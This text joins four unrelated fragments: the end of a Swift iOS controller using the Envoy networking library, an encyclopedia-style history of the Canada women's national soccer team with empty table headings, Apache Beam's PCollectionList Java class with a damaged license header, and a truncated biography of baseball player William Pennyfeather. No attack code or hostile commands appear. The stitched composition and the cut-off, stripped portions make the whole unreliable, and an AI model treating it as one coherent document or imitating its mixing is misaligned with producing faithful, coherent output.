message = "failed within Envoy library after \(attemptCount) attempts: \(error.message)"
} else {
message = "failed within Envoy library: \(error.message)"
}
NSLog(message)
self?.add(result: .failure(RequestError(message: message)))
}
.start()
.sendHeaders(headers, endStream: true)
}
private func add(result: Result<Response, RequestError>) {
self.results.insert(result, at: 0)
self.tableView.reloadData()
}
private func recordStats() {
guard let pulseClient = self.pulseClient else {
NSLog("failed to send stats - Envoy is not running")
return
}
let counter = pulseClient.counter(elements: ["foo", "bar", "counter"])
counter.increment()
counter.increment(count: 5)
}
// MARK: - UITableView
override func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return self.results.count
}
override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath)
-> UITableViewCell
{
let cell = tableView.dequeueReusableCell(withIdentifier: kCellID) ??
UITableViewCell(style: .subtitle, reuseIdentifier: kCellID)
let result = self.results[indexPath.row]
switch result {
case .success(let response):
cell.textLabel?.text = response.message
cell.detailTextLabel?.text = response.headerMessage
cell.textLabel?.textColor = .black
cell.detailTextLabel?.lineBreakMode = .byWordWrapping
cell.detailTextLabel?.numberOfLines = 0
cell.detailTextLabel?.textColor = .black
cell.contentView.backgroundColor = .white
case .failure(let error):
cell.textLabel?.text = error.message
cell.detailTextLabel?.text = nil
cell.textLabel?.textColor = .white
cell.detailTextLabel?.textColor = .white
cell.contentView.backgroundColor = .red
}
return cell
}
}
```
|
The Canada women's national soccer team () represents Canada in international soccer competitions. They are overseen by the Canadian Soccer Association, the governing body for soccer in Canada.
The team reached international prominence at the 2003 FIFA Women's World Cup, losing in the bronze medal match to the United States. Canada qualified for its first Olympic women's soccer tournament in 2008, making it to the quarterfinals. Canada's most significant achievement has been winning the gold medal at the 2020 Olympics in Tokyo. The team is also two-time CONCACAF Women's Championship winners, and two-time Olympic bronze medallists.
Canada hosted the 2015 FIFA Women's World Cup, where they were eliminated in the quarterfinals by England. Canada set a new tournament and team record for attendance in the process, with 1,353,506 and 54,027 respectively.
History
1986–1999: Early years
With many national federations beginning to found national women's teams, the Canadian Soccer Association (CSA) held a national all-star tournament and camp in Winnipeg in the summer of 1986 for the purpose of assembling the first Canadian roster. The team was officially picked on Canada Day, and after three days' training, travelled by bus to Blaine, Minnesota for a two-game series against the recently-founded United States national team. Playing its first international match on July 7, 1986, they were defeated 2–0. Having been advised by coach Neil Turnbull that losing both matches might prompt the early demise of the program itself, Canada won the second 2–1, with both of its goals scored by Geri Donnelly.
As was the case for most international peers, resources were scant, with the inaugural annual budget for the women's team being $12,000, in comparison to the men's team's $1.7 million. The Canadian Press dubbed the first team "long on potential, short on cash." This would be an ongoing theme for much of the program's history. However, as many Canadian players were products of the American NCAA college system, they had experience with that country's much wealthier program. The team made its first overseas journey, to Taiwan, in 1987, with each player raising or otherwise contributing $1500 to cover expenses.
After decades of largely ignoring women's soccer, FIFA agreed to host the 1988 FIFA Women's Invitation Tournament as a trial for a potential women's global championship akin to the men's World Cup. Canada was one of two CONCACAF teams invited to participate, along with the United States. They reached the quarter-finals before being ousted by Sweden. The tournament overall was a success, leading to FIFA establishing the Women's World Cup, with the inaugural 1991 edition in China. Canada sought to secure the lone berth afforded to CONCACAF at the first CONCACAF Women's Championship in Port-au-Prince, Haiti, but was defeated 5–0 in the final by the United States.
Canada's failure to qualify for the 1991 World Cup had an immediate deleterious impact on the team, which would not play another match for two years, leading to nominal coach Sylvie Béliveau remarking that she was "coaching ghosts." The team reunited for the next CONCACAF championship, this time dubbed the 1993 CONCACAF Women's Invitational Tournament and limited to only four teams. Canada again finished second. Canada hosted the 1994 CONCACAF Women's Championship in Montreal, with the tournament held as a World Cup qualifier. They were again runners-up, securing a place at the 1995 FIFA Women's World Cup. At year's end, the CSA awarded its first Female Player of the Year award to Charmaine Hooper, an original member of the 1986 roster and widely considered the best Canadian player of the era.
Competing at the Women's World Cup in Sweden, Canada played its first match against England on June 6, and was initially down by three goals. The team rallied late in the game, with Helen Stoumbos scoring the country's first-ever World Cup goal (at either men's or women's editions), an Olympico, in the 87th minute. A subsequent goal by Donnelly would see the game end in a 3–2 loss. After a 3–3 draw with Nigeria and a 7–0 rout at the hands of Norway, Canada exited the tournament at the group stage. As a result of this, the team would not qualify for the inaugural women's tournament at the 1996 Summer Olympics, as this was based on placing among the top seven teams at the World Cup.
Canada hosted the 1998 CONCACAF Women's Championship in Toronto, with the United States absent from the competition due to their status as World Cup hosts. Canada defeated Mexico in the final, with Liz Smith scoring the match's lone goal, and earning its first ever major championship gold. Silvana Burtini scored eight goals during the tournament, claiming both the Golden Ball and the Golden Boot.
At the landmark 1999 FIFA Women's World Cup, Canada drew its opening match against Japan, but lost 7–1 to Norway and 4–1 to Russia, exiting at the group stage for the second consecutive time. Hooper, with goals in both losses, was the country's top scorer. The 1999 World Cup marked the final appearances for much of the squad, including Donnelly, who opted to retire from international soccer.
2000–2008: Pellerud and the Sinclair ascendancy
Following the disappointment at the 1999 World Cup and resultant failure to qualify for the 2000 Summer Olympics, the CSA sought to recruit a European coach for the national team, ultimately selecting former Norwegian national coach Even Pellerud. After the roster dispersed following the previous year's World Cup, he was provided with no scouting information about the nation's players, and opted to travel across the country holding practice matches to assess available players. Among those he identified was a 16-year-old Christine Sinclair, who he immediately named to the team's roster for the 2000 Algarve Cup, their first event under the new coach. Sinclair would rapidly become the team's most important player in the years ahead. Later in 2000, Canada competed in what was now called the CONCACAF Women's Gold Cup, which this time featured Brazil and China as invitees. Canada faced the United States in the semi-final, losing 4–1. Hooper and Sinclair led the team in scoring with seven and five goals, respectively. Pellerud continued to bring new young players into the roster in the next few years, with the squad for the 2002 CONCACAF Women's Gold Cup including future mainstays Candace Chapman, Carmelina Moscato, and Kara Lang, in addition to Sinclair. Canada reached the final of the Gold Cup,, qualifying to the World Cup in the process, but lost 2–1 to the United States after Mia Hamm scored in extra time. Sinclair and Hooper, with seven goals apiece, tied American Tiffeny Milbrett as the tournament's top scorer.
The 2003 FIFA Women's World Cup, held in the United States for the second consecutive time, featured a Canada squad that included veteran players like Hooper, Burtini and Andrea Neil and Pellerud's younger additions, the latter now also including Diana Matheson. The team enjoyed unprecedented success at the tournament, losing its opening match of Group C to eventual champion Germany by 4–1, before defeating Argentina 3–0, and Japan 3–1 to place second in their group and advance to the knockout stage. Canada faced defending silver medallists China in the quarterfinal match. Hooper scored in the seventh minute, in what would later be called the most important moment of her international career, giving Canada a 1–0 upset victory. Canada was defeated by Sweden in the semi-final match 2–1, and faced the United States in the third-place match, where they were defeated 3–1 and finished fourth at the tournament. Hooper was subsequently named to the All-Star Team, a first for a Canadian player.
While Canada's fourth-place finish at the World Cup would have been sufficient to qualify for the prior two Summer Olympics, in advance of the 2004 Summer Olympics in Athens the qualification format had been changed to involve federation qualifying tournaments. Canada enter the 2004 CONCACAF Women's Pre-Olympic Tournament as heavy favourites to qualify, but were unexpectedly ousted by Mexico in the semi-final, missing the Olympics for the third time. In light of their results the prior year, Sinclair would later admit "we'd planned our lives around going to the Olympics. Not qualifying was the biggest low."
Pellerud sought to improve training conditions and professional standards for the historically underfunded women's team, persuading Greg Kerfoot, the owner of the Vancouver Whitecaps in the men's USL First Division, to help finance a residency program that would allow players to earn a salary and focus on playing soccer full-time in the years leading up to the next World Cup and Olympics. However, this led to conflict between the coach and some players, with Hooper, Christine Latham and Sharolta Nonen alleging that they had been inappropriately pressured to player for the Whitecaps' women's team as part of the residency program. As a result, they were all suspended in advance of the 2006 CONCACAF Women's Gold Cup. Sinclair and the rest of the team expressed support for Pellerud, and an arbitrator subsequently found he had acted appropriately. The dispute marked the end of Hooper's twenty-year career with the national team, and Sinclair replaced her as captain.
Canada's results at the Gold Cup qualified them for the 2007 FIFA Women's World Cup in China. In Group C, the team lost 2–1 to Norway in its opening match. A 4–0 victory against Ghana followed, with Sinclair managing a brace. Sinclair scored another goal in the 85th minute of the final group stage match against Australia, which would have been sufficient to advance to the knockout stage had it held, but Australia equalized in stoppage time and Canada exited the tournament. Later in the year, the team won a bronze medal at the 2007 Pan American Games, in what was widely considered an unimpressive performance marked by player complaints about overtraining.
The CSA declined the opportunity to host the 2008 CONCACAF Women's Olympic Qualifying Tournament, saying they could not afford the estimated $400,000 expenditure, a decision Pellerud publicly criticized. Canada defeated Mexico in a semi-final rematch from four years' prior, earning its first Olympic berth, in what Sinclair called "sweet revenge." The 1–1 event final eventually saw the United States prevail on penalties. At the women's tournament at the 2008 Summer Olympics in Beijing, Canada defeated Argentina 2–1, with Chapman scoring Canada's first Olympic goal and Lang providing the winner. The team advanced out of the group stage before being defeated by the United States, the eventual gold medallists, in their quarter-final match, with Sinclair scoring Canada's lone goal in the 2–1 loss.
Following the Olympics, Pellerud retired from coaching the national team. In assessments of his tenure, he was credited by Matheson for having created "a competitive, professional-feeling team. Before that, it was just sporadic camps a couple of times a year." Some, such as future CSA president Jason DeVos, argued that his tactics had become outdated by 2008, in light of developments in the women's game. Pellerud himself would later say he had left "a solid foundation, so it was the right time for a new coach to come in with a new view."
2009–2011: Initial success under Morace, World Cup nadir
The CSA recruited Carolina Morace, formerly both a player and coach for the Italian national team, to serve as Canada's next coach. Building on critiques of the team that had been made toward the end of Pellerud's tenure, which was described as having "a one-dimensional style of play that emphasized the long ball, physical strength and endurance" Morace sought to introduce the team to a new approach with greater emphasis on what The Globe & Mail would later describe as "the gift of style, of beautiful, technically and tactically advanced soccer."
Morace's new approach enjoyed great initial success, culminating in Canada's victory at the CONCACAF championship, this time called the 2010 CONCACAF Women's World Cup Qualifying. With the United States unexpectedly ousted in the semi-final, Canada faced Mexico in the final, winning 1–0 with Sinclair scoring to take the first major senior title of her tenure. By February 2011, Canada had risen to ninth in the FIFA Women's World Ranking, its highest placement in four years. However, despite this success, Morace and the team found themselves enmeshed in disputes with the CSA over funding and compensation. On February 4, 2011, Morace announced that would quit following the World Cup, citing strategic differences with the federation. Days later, the team itself went on strike in support of her, eventually returning to the pitch after the CSA began talks with Morace to resolve differences. She ultimately agreed to rescind her resignation after an agreement was reached to create a management group for the team involving parties including Own the Podium. As part of the agreement, the women's team was to train for the World Cup in Morace's home nation of Italy.
At the 2011 FIFA Women's World Cup, Canada faced host nation Germany in its opener, a 2–1 defeat most noteworthy for Sinclair scoring a goal despite having her nose broken by a German player earlier in the match. A 4–0 rout at the hands of France formally eliminated Canada from the tournament. Sinclair would later describe it was "the lowest point in my soccer career, the worst game I'd ever seen our team play." Canada went on to lose 1–0 to Nigeria. Morace resigned as coach following the team's last-place finish, as did her coaching staff. While generally praised for her tactical improvements, and having taken the team to a new high of sixth in the FIFA Rankings, some members of the team would subsequently say that they felt Morace had unnecessarily devalued "what makes us Canadian -- the fight that puts fear in other teams."
2011–2018: Herdman's "bronze age" and 2015 World Cup
Englishman John Herdman, the erstwhile coach of the New Zealand national team, was hired as Canada's next coach in August 2011. Herdman sought to build on Morace's approach to the team. In time, this would be regarded as arguably the most consequential hiring in the history of Canadian soccer. Less than two months into the new coach's tenure, the team won gold at the 2011 Pan American Games, defeating Brazil in a penalty shootout in the final.
The 2012 CONCACAF Women's Olympic Qualifying Tournament was hosted in Canada. Victory over Mexico in the semi-final secured qualification, but Canada was defeated 4–0 by the United States in the final. The 2012 Summer Olympics in London began in unpromising fashion with a loss to Japan. After defeating South Africa and drawing Sweden, Canada nevertheless advanced out of the group stage as the third seed, led by performances from Sinclair and Melissa Tancredi. Canada faced host nation Great Britain in the quarter-final, defeating them 2–0. This led to a historic Olympic semi-final against the United States at Old Trafford that saw the Americans prevail 4–3, with Sinclair recording a hat-trick. The game was noted both for its high quality of play and for the controversial calls made by referee Christina Pedersen, who many felt had wrongly penalized Canadian goalkeeper Erin McLeod for time-wasting, which penalty had in turn allowed the United States to tie the game. Canada would go on to the third-place game, Matheson scoring to secure the women's first-ever Olympic medal.
The London Olympics had a significant legacy for the women's national team, elevating both its profile and that of captain Christine Sinclair, and helping to make Canada a rare instance where the women's team enjoyed significantly greater visibility than the men's team. Sinclair became the first soccer player to win the Bobbie Rosenfeld Award as Canadian female athlete of the year, and the first soccer player, male or female, to win the Lou Marsh Trophy as athlete of the year. She was soon called "the face of Canadian soccer." The team received the Canadian Press Team of the Year Award, another first for soccer.
2015 was Canada's "summer of soccer hosting," with the country awarded both the 2015 FIFA Women's World Cup and the 2015 Pan American Games, in addition to matches of the men's Gold Cup. In light of the women's team's last-place finish in 2011 and its subsequent bronze medal at the Olympics, there were expectations on the team to perform on home soil. Herdman expressed a desire "to aim high and make sure 2015 is a memorable year for Canada," in the hopes of accelerating the growth of support for both women's soccer and the sport in general. In the World Cup's Group A, Canada defeated China by 1–0 in its opening match, on the strength of a Sinclair penalty kick. They drew the remaining two group stage matches, but finished first in the group and faced Switzerland in the Round of 16. Defeating the Swiss 1–0 in the opening of the knockout stage, Canada advanced to face England. In the quarter-final, Sinclair scored Canada's lone goal in the 42nd minute, with Canada ultimately losing the match 2–1. The result was generally considered underwhelming, highlight the team's struggles with offence from players other than Sinclair. Centre-back Kadeisha Buchanan earned distinction at the tournament, being named the winner of the FIFA Young Player Award and a place on the All-Star Squad. Later in the summer, Buchanan joined the Canadian squad for the Pan American women's tournament, alongside other touted emerging talents such as Jessie Fleming, Janine Beckie, Ashley Lawrence, Quinn, and Shelina Zadorsky. Canada reached the semi-finals, losing there to Colombia, before also losing the bronze medal match to Mexico. At year's end, Buchanan received the CSA's Female Player of the Year award, ending an eleven-year Sinclair winning streak, and was also shortlisted for the FIFA Ballon d'Or.
Canada next focused on qualifying for the 2016 Summer Olympics in Rio de Janeiro. The team reached the final of the 2016 CONCACAF Women's Olympic Qualifying Championship, thereby qualifying to the Olympic Games, and losing the championship match to the United States 2–0. A month later, they won the 2016 edition of the Algarve Cup, defeating upcoming Olympic host nation Brazil in the final. At the Olympic women's tournament, Canada swept its three group stage games, culminating in a historic win over Germany that broke a 12-game, 22-year losing streak. Canada defeated France in the quarter-final, but was defeated in a semi-final rematch with Germany by 2–1. Playing in the bronze medal game for the second consecutive Olympics, Sinclair scored the game-winning goal against Brazil.
In 2017, Herdman informed the CSA that he hoped to transition to men's coaching following the next World Cup. However, disagreements with then-current national men's coach Octavio Zambrano led to this opportunity emerging earlier than expected, and he was announced as the next Canadian men's coach in January 2018, a move that came as a surprise to the women's team. Herdman would later express regret that the news had not been delivered better. Stylistically, the team during his tenure was at its best known for "defending well and being opportunistic on attack." Conversely, goal-scoring outside of Sinclair remained a constant question. Herdman was credited for his motivational skills, and for continued improvements to the team's infrastructure. At the time of his departure, Canada sat fifth in the FIFA Rankings, a new highpoint. The Canadian Olympic Committee called the Herdman era "the bronze age."
2018–2020: Heiner-Møller and 2019 World Cup
Assistant coach Kenneth Heiner-Møller, previously a coach of the Danish women's team, was named as the next head coach for Canada. Canada pursued World Cup qualification at the 2018 CONCACAF Women's Championship, routing Panama 7–0 in the semi-final to secure a berth. They were defeated by the United States in the final 2–0.
At the 2019 FIFA Women's World Cup, Canada narrowly defeated Cameroon in its opening group stage match, with Buchanan scoring the winning header. After defeating New Zealand, Canada faced the Netherlands in its final group match, losing 2–1, with Sinclair's goal equalling Brazilian Marta's achievement of scoring in five different World Cups. Facing Sweden in the Round of 16, Canada was down 1–0 when they were awarded a penalty after a hand ball by a Swedish defender. While Sinclair commonly took penalties for the team, in this instance she was aware that Swedish keeper Hedvig Lindahl had saved her penalty attempt at the Algarve Cup the previous March, and opted to have Beckie take it instead. Beckie's attempt was saved by Lindahl, and Canada were ultimately eliminated. The performance of the national team was widely critiqued in the aftermath of the event, with many commentators faulting the lack of goal-scoring threat from players other than Sinclair.
During the 2020 CONCACAF Women's Olympic Qualifying Championship, Sinclair scored her 185th career international goal, breaking the record previously set by American Abby Wambach. Canada reached the tournament final, thereby qualifying for the Olympics, and lost 3–0 to the United States in the final. The onset of the COVID-19 pandemic resulted in the Olympics being delayed by a year. Heiner-Møller had originally intended to depart for a job with the Danish Football Association following the conclusion of the Olympic tournament, but due to the change in scheduling, he instead left in advance of it in the summer of 2020.
2020–present: Priestman and Tokyo Olympic triumph
In October 2020, the CSA hired Bev Priestman as the next head coach. She had previously coached the Canadian women's youth teams and served as an assistant to Herdman before leaving for a job with The Football Association. Looking ahead to the Tokyo Olympics, she said her intent was "to change the colour of the medal." The Olympic women's tournament commenced with a 1–1 draw against hosts Japan, with Sinclair scoring in her 300th appearance. Goalkeeper Stephanie Labbé was injured in a collision, but played through it to make a key penalty save before exiting the match. Beckie scored twice for a 2–1 victory against Chile, before Canada managed another draw against Great Britain to conclude the group stage. A scoreless quarterfinal match against Brazil was decided on penalties, Canada prevailing 4–3, with a returning Labbé a standout in goal. After missing her own penalty attempt, Sinclair advised Priestman that Fleming should take future penalties, which she did decisively in the semi-final match with the United States, Canada winning 1–0. This was the team's first victory over the Americans in twenty years. Fleming scored another penalty in the final against Sweden, which ended 1–1 after extra-time. Canada eventually won the match 3–2 on penalty kicks to capture the gold medal in women's soccer for the first time, with Julia Grosso scoring the clinching goal. The result was hailed as the biggest victory in Canadian soccer history, and a capstone to Sinclair's tenure.
The immediate post-Olympic period saw the retirement of Labbé, who had achieved significant fame as a result of her performance in Tokyo, with Kailen Sheridan becoming the team's new starting goalkeeper in advance of the 2022 CONCACAF W Championship. Grosso scored the lone goal in a group match with Panama to send Canada to the semi-final and secure World Cup qualification. Canada defeated Jamaica in the semi-final, before losing 1–0 to the United States in the final.
Longstanding disputes with the CSA over compensation and program funding led to the players calling a strike in advance of the 2023 SheBelieves Cup, but under threat of legal action from the federation they agreed to resume training. With morale low, the team performed poorly and finished last among the four participants. The team played only one additional match prior to the 2023 FIFA Women's World Cup, a 2–1 loss to France in April. Canada was drawn into Group B, entering as one of the favourites to advance, but with questions raised around the team's offensive capabilities, injuries to key players, and the off-field disputes with the CSA. With Fleming now widely identified as the team's most important player, an injury in the pre-tournament that left her unavailable for the opening match against Nigeria was a setback. The match ended in a 0–0 draw, with Nigerian goalkeeper Chiamaka Nnadozie saving a Sinclair penalty attempt. The match renewed concerns about offense. After a poor first half against Ireland, Canada mounted a comeback for a 2–1 victory. Canada entered the final group match against co-host Australia needing only a draw to advance to the Round of 16, but were routed 4–0 by the Australians, exiting the tournament. They became the first reigning Olympic champions not to advance to the knockout stages of the World Cup. Assessments of the team once again criticized its lack of scoring potential with Sinclair no longer in her prime, as well as its struggles to keep up with evolution of the women's game internationally.
Following the disappointment at the World Cup, there were doubts raised about the team's prospects in its September CONCACAF Olympic qualification playoff against Jamaica, with the latter team having performed unexpectedly well at the World Cup and reached the Round of 16. Priestman made a number of changes to her configurations, including starting perennial substitute Cloé Lacasse and relative newcomers Jade Rose and Sydney Collins. Canada defeated Jamaica by an aggregate score of 4–1 across the two matches, securing its fifth consecutive Olympic berth. Sinclair notably featured in only thirty minutes, coming on as a substitute during the second game at BMO Field.
Results and fixtures
The following is a list of match results in the last 12 months, as well as any future matches that have been scheduled.
Legend
2022
2023
Players
Current squad
The following players were called up for two friendly matches against Brazil on October 28 and 31, 2023.
Caps and goals are current as of October 31, 2023 after the match against .
Recent call-ups
The following players were named to a squad in the last 12 months.
= Injured
= Retired
= No longer eligible
: Preliminary squad
Coaching staff
Current staff
Coaching history
Individual records
Players in bold are still active with the national team.
Most capped players
Top goalscorers
Most assists
Most clean sheets (five or more)
Competitive record
Champions Runners-up Third place Tournament played fully or partially on home soil
FIFA Women's World Cup
*Denotes draws include knockout matches decided via penalty shoot-out.
Summer Olympics
*Denotes draws include knockout matches decided via penalty shoot-out.
CONCACAF W Championship
*Denotes draws include knockout matches decided via penalty shoot-out.
CONCACAF W Gold Cup
*Denotes draws include knockout matches decided via penalty shoot-out.
Pan American Games
*Denotes draws include knockout matches decided via penalty shoot-out.
Minor tournaments
Algarve Cup
2000 Algarve Cup Fifth place
2001 Algarve Cup Fourth place
2002 Algarve Cup Eighth place
2003 Algarve Cup Seventh place
2016 Algarve Cup Champions
2017 Algarve Cup Runners-up
2018 Algarve Cup Fifth place
2019 Algarve Cup Third place
Cyprus Women's Cup
2008 Cyprus Cup Champions
2009 Cyprus Cup Runners-up
2010 Cyprus Cup Champions
2011 Cyprus Cup Champions
2012 Cyprus Cup Runners-up
2013 Cyprus Cup Runners-up
2014 Cyprus Cup Fifth place
2015 Cyprus Cup Runners-up
Four Nations Tournament
2004 Fourth place
2008 Third place
2011 Runners-up
2013 Runners-up
2015 Champions
International Women's Football Tournament
2010 Champions
2013 Third Place
2015 Runners-up
Yongchuan International Tournament
2019 Third place
SheBelieves Cup
The SheBelieves Cup is a global invitational tournament for national teams in women's soccer hosted in the United States.
Arnold Clark Cup
The Arnold Clark Cup is a global invitational tournament for national teams in women's soccer hosted in England.
Head-to-head record
Key
The following table shows Canada's all-time official international record per opponent:
FIFA World Ranking
Last update was on July 12, 2021
Source:
Best Ranking Worst Ranking Best Mover Worst Mover
Honours
Major competitions
Olympic Games
Gold medallist (1): 2020
Bronze medallist (2): 2012, 2016
CONCACAF Women's Championship
Champions (2): 1998, 2010
See also
Canada Soccer Association
CONCACAF
Canada women's national under-17 soccer team
Canada women's national under-20 soccer team
Canada men's national soccer team
References
External links
FIFA profile
Canada Soccer records and results 2022
North American women's national association football teams
Canadian Soccer Association
|
```java
/*
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.apache.beam.sdk.values;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import org.apache.beam.sdk.Pipeline;
import org.apache.beam.sdk.transforms.Flatten;
import org.apache.beam.sdk.transforms.PTransform;
import org.apache.beam.sdk.transforms.Partition;
import org.apache.beam.vendor.guava.v32_1_2_jre.com.google.common.collect.ImmutableList;
import org.apache.beam.vendor.guava.v32_1_2_jre.com.google.common.collect.ImmutableMap;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link PCollectionList PCollectionList<T>} is an immutable list of homogeneously typed
* {@link PCollection PCollection<T>s}. A {@link PCollectionList} is used, for instance, as
* the input to {@link Flatten} or the output of {@link Partition}.
*
* <p>PCollectionLists can be created and accessed like follows:
*
* <pre>{@code
* PCollection<String> pc1 = ...;
* PCollection<String> pc2 = ...;
* PCollection<String> pc3 = ...;
*
* // Create a PCollectionList with three PCollections:
* PCollectionList<String> pcs = PCollectionList.of(pc1).and(pc2).and(pc3);
*
* // Create an empty PCollectionList:
* Pipeline p = ...;
* PCollectionList<String> pcs2 = PCollectionList.<String>empty(p);
*
* // Get PCollections out of a PCollectionList, by index (origin 0):
* PCollection<String> pcX = pcs.get(1);
* PCollection<String> pcY = pcs.get(0);
* PCollection<String> pcZ = pcs.get(2);
*
* // Get a list of all PCollections in a PCollectionList:
* List<PCollection<String>> allPcs = pcs.getAll();
* }</pre>
*
* @param <T> the type of the elements of all the {@link PCollection PCollections} in this list
*/
public class PCollectionList<T> implements PInput, POutput {
/**
* Returns an empty {@link PCollectionList} that is part of the given {@link Pipeline}.
*
* <p>Longer {@link PCollectionList PCollectionLists} can be created by calling {@link #and} on
* the result.
*/
public static <T> PCollectionList<T> empty(Pipeline pipeline) {
return new PCollectionList<>(pipeline);
}
/**
* Returns a singleton {@link PCollectionList} containing the given {@link PCollection}.
*
* <p>Longer {@link PCollectionList PCollectionLists} can be created by calling {@link #and} on
* the result.
*/
public static <T> PCollectionList<T> of(PCollection<T> pc) {
return new PCollectionList<T>(pc.getPipeline()).and(pc);
}
/**
* Returns a {@link PCollectionList} containing the given {@link PCollection PCollections}, in
* order.
*
* <p>The argument list cannot be empty.
*
* <p>All the {@link PCollection PCollections} in the resulting {@link PCollectionList} must be
* part of the same {@link Pipeline}.
*
* <p>Longer PCollectionLists can be created by calling {@link #and} on the result.
*/
public static <T> PCollectionList<T> of(Iterable<PCollection<T>> pcs) {
Iterator<PCollection<T>> pcsIter = pcs.iterator();
if (!pcsIter.hasNext()) {
throw new IllegalArgumentException(
"must either have a non-empty list of PCollections, "
+ "or must first call empty(Pipeline)");
}
return new PCollectionList<T>(pcsIter.next().getPipeline()).and(pcs);
}
/**
* Returns a new {@link PCollectionList} that has all the {@link PCollection PCollections} of this
* {@link PCollectionList} plus the given {@link PCollection} appended to the end.
*
* <p>All the {@link PCollection PCollections} in the resulting {@link PCollectionList} must be
* part of the same {@link Pipeline}.
*/
public PCollectionList<T> and(PCollection<T> pc) {
if (pc.getPipeline() != pipeline) {
throw new IllegalArgumentException("PCollections come from different Pipelines");
}
return new PCollectionList<>(
pipeline,
ImmutableList.<TaggedPValue>builder()
.addAll(pcollections)
.add(TaggedPValue.of(new TupleTag<T>(Integer.toString(pcollections.size())), pc))
.build());
}
/**
* Returns a new {@link PCollectionList} that has all the {@link PCollection PCollections} of this
* {@link PCollectionList} plus the given {@link PCollection PCollections} appended to the end, in
* order.
*
* <p>All the {@link PCollection PCollections} in the resulting {@link PCollectionList} must be
* part of the same {@link Pipeline}.
*/
public PCollectionList<T> and(Iterable<PCollection<T>> pcs) {
ImmutableList.Builder<TaggedPValue> builder = ImmutableList.builder();
builder.addAll(pcollections);
int nextIndex = pcollections.size();
for (PCollection<T> pc : pcs) {
if (pc.getPipeline() != pipeline) {
throw new IllegalArgumentException("PCollections come from different Pipelines");
}
builder.add(TaggedPValue.of(new TupleTag<T>(Integer.toString(nextIndex)), pc));
nextIndex += 1;
}
return new PCollectionList<>(pipeline, builder.build());
}
/** Returns the number of {@link PCollection PCollections} in this {@link PCollectionList}. */
public int size() {
return pcollections.size();
}
/**
* Returns the {@link PCollection} at the given index (origin zero).
*
* @throws IndexOutOfBoundsException if the index is out of the range {@code [0..size()-1]}.
*/
public PCollection<T> get(int index) {
@SuppressWarnings("unchecked") // Type-safe by construction
PCollection<T> value = (PCollection<T>) pcollections.get(index).getValue();
return value;
}
/**
* Returns an immutable List of all the {@link PCollection PCollections} in this {@link
* PCollectionList}.
*/
public List<PCollection<T>> getAll() {
ImmutableList.Builder<PCollection<T>> res = ImmutableList.builder();
for (TaggedPValue value : pcollections) {
@SuppressWarnings("unchecked") // Type-safe by construction
PCollection<T> typedValue = (PCollection<T>) value.getValue();
res.add(typedValue);
}
return res.build();
}
/**
* Like {@link #apply(String, PTransform)} but defaulting to the name of the {@code PTransform}.
*/
public <OutputT extends POutput> OutputT apply(PTransform<PCollectionList<T>, OutputT> t) {
return Pipeline.applyTransform(this, t);
}
/**
* Applies the given {@link PTransform} to this input {@link PCollectionList}, using {@code name}
* to identify this specific application of the transform. This name is used in various places,
* including the monitoring UI, logging, and to stably identify this application node in the job
* graph.
*
* @return the output of the applied {@link PTransform}
*/
public <OutputT extends POutput> OutputT apply(
String name, PTransform<PCollectionList<T>, OutputT> t) {
return Pipeline.applyTransform(name, this, t);
}
/////////////////////////////////////////////////////////////////////////////
// Internal details below here.
final Pipeline pipeline;
/**
* The {@link PCollection PCollections} contained by this {@link PCollectionList}, and an
* arbitrary tags associated with each.
*/
final List<TaggedPValue> pcollections;
PCollectionList(Pipeline pipeline) {
this(pipeline, ImmutableList.of());
}
PCollectionList(Pipeline pipeline, List<TaggedPValue> values) {
this.pipeline = pipeline;
this.pcollections = ImmutableList.copyOf(values);
}
@Override
public Pipeline getPipeline() {
return pipeline;
}
@Override
public Map<TupleTag<?>, PValue> expand() {
ImmutableMap.Builder<TupleTag<?>, PValue> expanded = ImmutableMap.builder();
for (TaggedPValue tagged : pcollections) {
expanded.put(tagged.getTag(), tagged.getValue());
}
return expanded.build();
}
@Override
public void finishSpecifyingOutput(
String transformName, PInput input, PTransform<?, ?> transform) {
// All component PCollections will have already been finished.
int i = 0;
for (TaggedPValue tpv : pcollections) {
@SuppressWarnings("unchecked")
PCollection<T> pc = (PCollection<T>) tpv.getValue();
if (pc.getName().equals(PValueBase.defaultName(transformName))) {
pc.setName(String.format("%s.%s%s", transformName, "out", i));
}
i++;
}
}
@Override
public boolean equals(@Nullable Object other) {
if (!(other instanceof PCollectionList)) {
return false;
}
PCollectionList<?> that = (PCollectionList<?>) other;
return this.pipeline.equals(that.pipeline) && this.getAll().equals(that.getAll());
}
@Override
public int hashCode() {
return Objects.hash(this.pipeline, this.getAll());
}
}
```
|
William Nathaniel Pennyfeather (born May 25, 1968) is a former professional baseball player. He played parts of three seasons in Major League Baseball as an center fielder for the Pittsburgh Pirates.
Professional career
Pennyfeather accepted a scholarship to play college football at Syracuse. After his sophomore football season at Syracuse, Pennyfeather signed with the Pittsburgh Pirates in 1988 after a personal tryout and began his professional career with the Pirates' affiliate in the Gulf Coast League.
Listed at tall, weighing 195 pounds, and batting and throwing right-handed, Pennyfeather made his major league debut on June 27, 1992. During his major league career he appeared in 40 games over those three years and collected nine hits, including a double.
In 1994 he was claimed on waivers by the Cincinnati Reds, who traded him to the California Angels for Eduardo Pérez in 1996.
Pennyfeather continued to play professionally after the end of his major league career. He played for the minor league affiliates of the Anaheim Angels and Los Angeles Dodgers, as well as the Taipei Gida of the Taiwan Major League, the Broncos de Reynosa of the Mexican League, and teams in the independent Northern League and Atlantic League. He is one of only three players who played in the Atlantic League in each of its first ten seasons.
2006 was Pennyfeather's final season, during which he played for the Newark Bears of the Atlantic League. He went out on a high note, as he was honored as Newark Bears Player of the Year, and was also a member of the Atlantic League All-Star team. The Bears honored him with an in-game ceremony on September 21, 2006, during their final home game of the season.
Notes
External links
The Baseball Gauge
Venezuela Winter League
1968 births
Living people
African-American baseball players
Albuquerque Dukes players
American expatriate baseball players in Canada
American expatriate baseball players in Mexico
American expatriate baseball players in Taiwan
Atlantic City Surf players
Augusta Pirates players
Baseball players from New Jersey
Bridgeport Bluefish players
Broncos de Reynosa players
